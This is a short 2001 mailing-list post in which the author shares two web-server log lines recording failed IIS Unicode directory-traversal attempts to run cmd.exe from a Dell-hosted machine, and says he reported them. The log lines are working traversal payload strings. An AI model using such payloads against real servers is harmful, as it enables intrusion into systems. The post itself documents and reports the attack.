[geeks] daily dose of humor

[Jonathan Katz]

Check this out:

178-209.235.22.dellhost.com - - [26/Mar/2001:06:54:28 -0500] "GET /msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355 "-" "Unknown"
178-209.235.22.dellhost.com - - [26/Mar/2001:06:54:28 -0500] "GET /_vti_bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 369 "-" "Unknown"

Not all of you may understand what that is...

Those are my weblogs from this morning. Too bad I run
Apache on Solaris. The remote user is attempting to
break into my website using Windows security problems.

Notice where its coming from-- dellhost.com, Dell's
ASP/hosting service. I dropped them a friendly note
via their web/support gateway. Chances are some kiddie
broke into their site using those exploits and are
trying to take over the Internet at large.

I'll keep ya posted.

-Jon